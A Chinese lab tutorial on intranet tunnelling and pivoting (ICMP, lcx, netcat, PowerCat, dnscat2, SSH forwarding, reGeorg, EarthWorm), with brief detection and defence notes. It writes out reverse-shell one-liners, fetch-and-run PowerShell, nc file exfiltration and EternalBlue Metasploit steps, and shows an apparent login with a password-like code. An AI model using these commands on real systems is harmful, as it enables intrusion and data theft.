本文章参考以下博客
https://www.freebuf.com/articles/network/242015.html
https://www.freebuf.com/articles/network/242445.html
隧道指的是一种绕过端口屏蔽的通信方式,将数据包封装成防火墙允许通过的数据包类型,穿越防火墙,
到达目的后在进行解封装,发送到对应的服务器上。常用的隧道列举如下:
网络层:IPV6隧道,ICMP隧道,GRE隧道
传输层:TCP隧道,UDP隧道,常规端口转发
应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道
1.ICMP协议 直接ping目标主机即可
2.TCP协议 nc 目标主机+端口号
3.HTTP协议 curl 目标主机+端口号
4.DNS协议 nslookup 目标地址
将IPV6报文封装在IPV4报文中进行数据传输,IPV6优势在于可以绕过FW,IDS等安全设备的检测。
将TCP/UDP的数据包封装到ICMP的ping数据包中,从而穿过防火墙,实现不受控制的访问
常用的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等
1.icmpsh
2.PingTunnel
实验环境:
可参考以下博客
https://blog.csdn.net/weixin_41598660/article/details/106537762
一台win7 172.27.7.27
一台kali 172.27.7.33
kali需要安装下载一个icmpsh的工具
git clone https://github.com/inquisb/icmpsh.git
安装icmpsh的依赖包,python的一个库
apt-get install python-impacket
如果报错可以直接上传到kali解压
tar -zcvf impacket-0.9.11.tar.gz
解压完成后安装
python setup.py build
python setup.py install
执行之前最重要的一步是在你的kali机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1 (改回来只要将1改为0即可)
win7也下载icmpsh这个工具
环境准备工作做好以后开始操作
root@kali:~/icmpsh# python icmpsh_m.py 172.27.7.33(攻击主机) 172.27.7.27(目标主机)
win7直接icmpsh.exe -t 攻击机ip
icmpsh.exe -t 172.27.7.33
执行完成后,kali可直接拿到win7的shell
实验环境
在公网VPS和边界WEB服务器上安装PingTunnel工具
安装成功后,在边界WEB服务器上运行隧道工具
ptunnel -x shutter
在VPS服务器上开启监听
ptunnel -p 对端隧道IP -lp 1080 -da 对端隧道内网IP -dp 3389 -x shutter
ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.34 -dp 3389 -x shutter
在公网开一台win7使用公网VPS的地址和1080端口远程桌面访问
用我的物理机访问VPS172.27.7.33的1080端口服务,是否能访问到win7的3389服务。
这样访问VPS的流量会被转发到内网WEB服务器上,再由WEB服务器作为跳板访问
内网某台服务器的远程桌面服务
远程连接内网Linux服务器的22号端口
在VPS上输入如下命令:
ptunnel -p 172.27.7.39 -lp 1080 -da 192.168.1.36 -dp 22 -x shutter
kali-web开启监听
ptunnel -x shutter
实验成功截图:
1.利用抓包工具分析ICMP流量
2.检测同源ICMP数据包的数量
3.检测Payload大于64bit的ICMP数据包
4.检查ICMP的协议标签,带有TUNL的标记
在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,
可以使用防火墙命令打开指定的端口或关闭防火墙。
如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。
lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。
Windows的为lcx.exe,Linux的为portmap。
下载地址:https://github.com/MrAnonymous-1/lcx
一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,
通过给出服务器的IP和端口,与服务端建立连接。
内网端口转发:
实验环境
两台win主机
win7-2(受害机) 192.168.1.13
windows-7(攻击机) 192.168.1.34
在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)
的8000端口上
lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389
lcx.exe -slave 192.168.1.34 8000 127.0.0.1 3389
在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面
lcx.exe -listen 8000 4444
受害机:
攻击主机:
此时即可登录用远程桌面登录<攻击者本地ip>:4444,即可访问受害者的3389端口远程桌面了。
nc:安全界的瑞士军刀
作用:
获取系统 banner 信息
传输文本信息
加密传输文件
端口扫描
远程控制 /正向反向shell
用法:
端口扫描
nc -v 192.168.10.15 80
nc -v -z 192.168.10.15 20-1024
端口监听
nc -l -p 9999
文件传输:将web服务器上的文件内容传输到VPS设备上
VPS开启监听等待连接,一旦连接建立,数据便会流入
nc -lp 333 >1.txt
WEB服务器与VPS的333端口建立连接,传输一个文件
nc -vn 172.27.7.241(目标VPS的地址) 333 <2.txt -q 1
简易聊天
在本地VPS主机开启监听
nc -l -p 888
web服务器上开启监听
nc -vn 192.168.200.110(对端VPS的地址) 888
如上图反向的shell,VPS成功拿到web服务器的shell
正向shell 客户端------>服务器
WEB服务器IP 172.27.7.45
VPS地址 172.27.7.41
WEB服务器开启监听目标主机的4444端口IP
nc -lvp 4444 -e /bin/sh
VPS上连接目标主机的4444端口
nc 172.27.7.45 4444
此时VPS可以成功拿到web服务器的shell
nc64.exe -lvp 4444 -e cmd.exe
反向shell 服务器----->客户端
WEB服务器IP 172.27.7.45
VPS地址 172.27.7.41
VPS上监听本地9999端口
nc -lvp 9999
web服务器连接VPS主机的4444端口
nc 172.27.7.41 9999 -e /bin/sh
此时VPS可以成功拿到web服务器的shell
利用Python获得反向shell
VPS开启监听本地2222端口
nc -lvp 2222
在目标主机上执行以下python代码即可成功拿到shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.7.41",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
执行成功后,VPS可成功拿到web服务器的shell
利用Bash反向shell
VPS开启监听本地4444端口
nc -lvp 4444
在目标主机上执行以下Bash脚本
bash -i >& /dev/tcp/172.27.7.41/4444 0>&1
VPS即可成功拿到WEB服务器的shell
利用PHP反向Shell
VPS本地监听2222端口
nc -lvp 2222
web服务器上执行如下PHP代码
php -r '$sock=fsockopen("172.27.7.41",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
利用Perl反向shell
python获取反向shell
Bash反向shell
PHP的反向shell
在阿里云服务器上监听9999端口,
nc -lvp 9999
在内网的一台kali-VPS上监听9999端口
nc -lvp 9999 -e /bin/sh
最后在内网的kali-web上监听连接
nc -v 139.224.225.64 9999 -c "nc -v 172.27.7.41 9999"
(阿里云服务器IP和内网数据库服务器IP)
实验环境为已经拿到边界WEB服务器的权限,但是VPS不能直接访问内网数据库服务器,
但是WEB服务器可以访问数据库服务器
VPS:172.25.6.40
FW:WAN:172.25.6.45 LAN:192.168.10.5
WEB服务器:WAN:172.25.6.19 LAN:192.168.10.17
数据库服务器:192.168.10.14
1.在VPS上监听本地3333端口
nc -lvp 3333
2.在数据库服务器上监听3333端口
nc -lvp 3333 -e /bin/sh
3.最后在WEB服务器上监听连接
nc -v 172.25.6.40 3333 -c "nc -v 192.168.10.14 3333"
执行成功后,查看本机IP地址发现是内网数据库服务器的地址,由此VPS主机已经成功连接数据库服务器
PowerCat是nc的PowerShell版本,可以通过执行命令回到本地运行,也可以使用远程权限执行
1.下载PowerShell
github项目地址:https://github.com/besimorhino/powercat.git
下载完成后解压到本地。
进入到powercat文件目录下
要想在Powershell的命令环境中执行powercat.ps1脚本,必须先进行导入操作
直接导入可能会出错,默认Powershell不允许执行任何脚本,修改下配置
Get-ExecutionPolicy(查看默认配置)
Set-ExecutionPolicy Unrestricted(可执行任意脚本)
在执行导入操作
Import-Module .\powercat.ps1
输入powercat -h 出现提示符表示环境正常
搭建测试环境
外网VPS机器: 172.25.6.40
win7机器:WAN: 172.25.6.20 LAN:192.168.10.15
域控服务器:192.168.10.11
win7主机上执行监听命令 -l 监听模式
powercat -l -p 8080 -e cmd.exe -v -p 指定监听端口
-e 指定要启动进程的名称
VPS主机上执行 -v 显示详情
netcat 172.25.6.20(内网win7主机地址) 8080 -vv
此时VPS可以成功拿到win7主机的shell
实验环境:
此时阿里云服务器已经成功连接到内网的win7主机
在VPS上执行如下命令
netcat -l -p 8888 -vv
在win7中执行如下命令,-c参数表示提供想要连接的IP地址
执行前还是需要先导入powercat.ps1具体步骤如上
powercat -c 172.25.6.40 -p 8888 -v -e cmd.exe (-c指的是外网VPS地址)
执行成功后,外网VPS即可拿到win7主机的shell
以上都是与nc进行交互,如果想返回Powershell,则无法与nc进行交互,接下来使win7主机
与域控建立正向连接
IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.5/powercat')
在域控服务器上先配置好powercat环境,步骤如上
配置完成后执行:
powercat -l -p 9999 -v
在win7主机上执行
powercat -c 192.168.10.11 -p 9999 -v -ep( -c域控服务器地址 )
执行完毕后可以在域控上拿到win7的shell
win7新建一个test.txt的文件
在域控服务器上执行以下代码
powercat -l -p 9999 -of test.txt -v
在win7中执行以下代码
powercat -c 192.168.10.11 -p 9999 -i C:\Windows\System32\cmd.exe\test.txt -v
(-c域控服务器地址)
用win7下面生成一个ps1文件并上传到域控服务器上
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
域控将生成的ps1文件运行
win7执行以下代码,就可以获得一个反弹shell
powercat -c 192.168.10.22 -p 8000 -v (-c域控服务器地址)
win7反弹powershell
powercat -l -p 8000 -ep -v -g >> shell.ps1
生成编码的Payload
powercat -c 192.168.10.22 -p 0000 -ep -ge (-c域控服务器地址)
继续在win7上执行
powercat -l -p 9999 -v
Powercat也是基于DNS通信的协议
首先需要在kali中安装dnscat
具体安装步骤
1.下载压缩包并上传至kali
2.解压缩文件
unzip dnscat2-master.zip
cd /home/dnscat/dnscat2-master/server
gem install bundler
bundle install
ruby dnscat2.rb ttpowercat.test -e open --no-cache(安装dnscat2)
dnscat2> 成功运行的界面
win7执行如下命令
powercat -c 172.25.6.40 -p 53 -dns ttpowercat.test -e cmd.exe
执行成功后,dnscat2会出现windows会话,使用 session -i 会话ID 直接进入win7的shell
环境:
win7可以访问两台服务器
VPS不能访问域控服务器
首先在域控服务器上执行
powercat -l -v -p 9999 -e cmd.exe
在win7上执行
powercat -l -v -p 8000 -r tcp:192.168.10.22:9999
最后在VPS上执行
nc 1752.25.5.132 8000 -vv
VPS成功拿到域控服务器shell
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果
发现异样,就会对通信进行阻断。
那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙
所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,
将数据包还原,并将还原后的数据包发送到相应服务器上。
SSH隧道常用参数
-C 压缩传输
-f 将SSH传输转入后台,不占用当前shell
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS代理)
-P 指定SSH端口
登录域控服务器 HACKER\Administrator
登录win10 刘亚鹏 0315
本地端口映射:将本地客户端某个端口的流量转发到远程指定服务器的指定端口
本地端口转发:在本地客户机监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端
服务器的对应端口
实验环境:
1.修改SSH的配置文件(可以不用改,如果实验出现问题可尝试修改)
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
2.以WEB服务器为跳板,将域控服务器192.168.10.22的3389端口映射到VPS服务器的1153端口上,
再次访问VPS服务器的1153端口,就可以访问域控服务器的3389端口
在VPS上执行
ssh -CfNg -L 1153:192.168.10.22:3389 [email protected]
[email protected] 输入跳板机的密码
查看本地1153端口,可以看到1153端口已经开启侦听。
root@kali:~# netstat -anptl | grep 1153
tcp 0 0 0.0.0.0:1153 0.0.0.0:* LISTEN 2082/ssh
tcp6 0 0 :::1153 :::* LISTEN 2082/ssh
最后在本地VPS访问本地1153端口即可成功连接到域控服务器的3389端口
rdesktop 127.0.0.1:1153
实验成功截图:
Linux添加默认路由
route add default gw 172.25.7.59
删除默认路由
route del -net 0.0.0.0 gw 172.25.7.59
实验环境:
其中VPS不能访问内网的三台服务器,WEB服务器可以访问VPS以及内网服务器,但是内网服务器不能访问
VPS,实验以WEB服务器为跳板,将VPS的3307端口的流量转发到域控服务器192.168.10.14的3389端口,
然后访问VPS的3307端口就可以成功访问内网域控服务器的3389端口
1.在WEB服务器上执行如下命令
ssh -CfNg -R 3307:192.168.10.14:3389 [email protected]
输入yes和VPS的密码
2.在VPS主机上访问本地3307端口
rdesktop 127.0.0.1:3307
可以成功远程连接到内网的域控服务器
实验成功截图:
远程端口转发:
在远程服务器上监听一个端口,所有访问远程服务器指定端口数据都会通过SSH隧道传输到本地的对应端口上
前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的
端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的
特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有
在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,
因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,
创建动态端口转发时SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发
实验环境:
1.在VPS上执行如下命令,建立一个SOCKS 4/5代理通道输入WEB服务器的密码
ssh -CfNg -D 7000 [email protected]
打开本地浏览器设置代理,设置完成后直接访问内网win7的地址即可
查看本地SSH的进程
root@kali:~# netstat -tulnp |grep ":7000"
tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 3698/ssh
tcp6 0 0 :::7000 :::* LISTEN 3698/ssh
实验成功截图:
动态转发:
动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道,任何支持SOCKS 4/5的程序都可以使用
这个加密隧道进行代理访问。
此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010
msfconsole
辅助扫描模块
msf5 > setg proxies socks5:172.25.7.61:7000
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.11
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
渗透攻击模块
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > set rhost 192.168.190.136
msf5 > set lhost 192.168.174.130
msf5 > set lport 444
msf5 > set ReverseAllowProxy true
msf5 > exploit
可成功拿到内网win7系统权限的shell
防御SSH隧道攻击的思路
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,
在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一
问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向
访问控制策略(从外部到内部、从内部到外部)。
首先我们需要明白正向代理和反向代理的区别:
正向代理(Forward Proxy)
Lhost-->proxy-->Rhost
Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost
转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
反向代理(reverse proxy)
Lhost<-->proxy<-->firewall<-->Rhost
和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的
数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主
动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理
脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。
测试环境如下:
reGeorg下载地址
https://github.com/sensepost/reGeorg.git
下载完成后继续安装如下依赖
wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
tar -xvf setuptools-18.5.tar.gz
python setup.py build
python setup.py install
将脚本上传至目标服务器,记录下脚本的url地址
VPS上执行如下命令
python reGeorgSocksProxy.py -u http://172.25.7.36/upload-labs/tunnel.nosocket.php -p 9999
查看本地的9999端口
查看监听的端口
netstat -ntlp
访问本地9999端口即可成功连接到目标服务器
配置代理软件,修改如下配置
vi /etc/proxychains.conf
dynamic_chain
将监听端口改为9999
然后可以直接通过代理软件连接或者进行3389端口暴力破解
proxychains rdesktop -g 1440x900 172.27.7.51:3389
DNS隧道工作原理:
将其他协议封装在DNS协议中进行传输
1.查询当前内部域名及IP地址
cat /etc/resolv.conf |grep -v '#'
nameserver 172.31.0.42
nameserver 58.242.2.2
2.解析内部域名
nslookup www.cua.edu.cn
3.解析外部域名
nslookup www.baidu.com
下载地址:
https://github.com/iagox86/dnscat2.git
1.EarthWorm(EW)
服务架设和端口转发两大功能
EW的新版本Termite
下载地址:https://github.com/rootkiter/Termite.git
2.ReGeorg
下载地址:https://github.com/sensepost/reGeorg.git
3.sSocks
4.SocksCap64
下载地址:http://www.sockscap64.com/
5.Proxifier
下载地址:https://www.proxifier.com/
6.ProxyChains
下载地址:
http://proxychains.sourceforge.net/
EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。
ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于
复杂网络环境的多级级联
正向SOCKS 5服务器
实验环境:
测试环境:
测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;
右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,
内网其他机器之间均不能直接连接
下载并安装EW
适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为172.27.7.76。
在web服务器上面上传对应的ew程序并执行:
ew_for_Win.exe -s ssocksd -l 888
在内网web服务器上架设了一个端口为888的socks代理服务,接下来设置proxychains或socksCap64指向
代理服务器172.27.7.76即可
配置代理服务器
vim /etc/proxychains.conf
socks5 172.27.7.76 888
设置完代理后直接远程连接内网Server2012的3389端口
proxychains rdesktop 192.168.10.16
实验成功截图:
正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,
我们怎么访问内网的资源呢?
实验环境:
测试环境:
在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了
在攻击者的VPS上上传ew_for_linux64并执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
这里1234端口只是用于传输流量。
接着
接着,在内网web服务器(192.168.10.15)上传ew_for_Win.exe,并执行命令
ew_for_Win.exe -s rssocks -d 172.27.7.79 -e 1234
该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为172.27.7.79的1234端口上
此时vps上面显示“rssocks cmd_socket OK!”说明连接成功
(1)接下来修改本地VPS的代理服务器设置监听本地1080端口
vim /etc/proxychains.conf
socks5 127.0.0.1 1080
设置完成后直接访问内网的win7-2的3389端口
(2)另找一台VPS服务器设置本地VPS的代理IP及端口
vim /etc/proxychains.conf
socks5 172.27.7.79 1080
proxychains rdesktop 192.168.10.17
实验成功截图:
换用阿里云服务器做此实验
适用于目标服务器拥有双网卡,内网卡只能连接内网的一台B主机,无法访问其他服务器,
但是B主机可以访问内网服务器
实验环境:
测试环境:
右侧内网A主机有两个网卡,一个连接外网(172.27.7.76),另一个只能连接内网的B主机,
但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们
已经获得了A主机和B主机的控制权
1.
将ew上传至B主机上,并用ssocksd开启1234端口的正向socks代理:
ew_for_Win.exe -s ssocksd -l 1234
2.
将ew上传至A主机上,执行如下命令
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.10.34 -g 1234
该命令将A主机1080端口收到的代理请求转发给B主机(192.168.10.34)的1234端口
3.现在,我们就可以通过访问A主机的公网IP(172.27.7.76)的1080端口来使用架设在B主机上
的socks代理服务了。配置proxychains:
vim /etc/proxychains.conf
socks5 172.27.7.76 1080
4.
利用VPS远程连接到内网kali-web服务器的SSH服务
proxychains ssh [email protected]
实验成功截图:
已经获取A主机和B主机的权限,但是A主机既没有公网地址,也不能访问内网服务器,
B主机可访问内网资源,但是无法访问内网
实验环境:
1.
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可通过访问vps
来访问B主机上面架设的socks服务。
我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送
给1234端口,执行命令:
./ew_for_linux -s lcx_listen -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,
这里1234端口只是用于传输流量。
2.
然后将ew传至内网B(192.168.10.34)主机,利用ssocksd方式启动999端口的正向socks代理,执行命令
ew_for_win_32.exe -s ssocksd -l 999
3.
最后,将ew上传到内网A主机上,在A主机(192.168.10.15)上利用lcx_slave方式,将公网vps的1234
端口与内网B主机(192.168.10.34)的999端口连接起来,执行命令:
ew_for_win_32.exe -s lcx_slave -d 172.27.7.79 -e 1234 -f 192.168.10.34 -g 999
4.
在另一台的公网服务器上设置指向VPS服务器的代理
vim /etc/proxychains.conf
socks5 172.27.7.79 1080
设置完代理后试着访问内网Server2012的3389端口
proxychains rdesktop 192.168.10.16
实验成功截图:
利用阿里云服务器远程连接内网kali服务器
待研究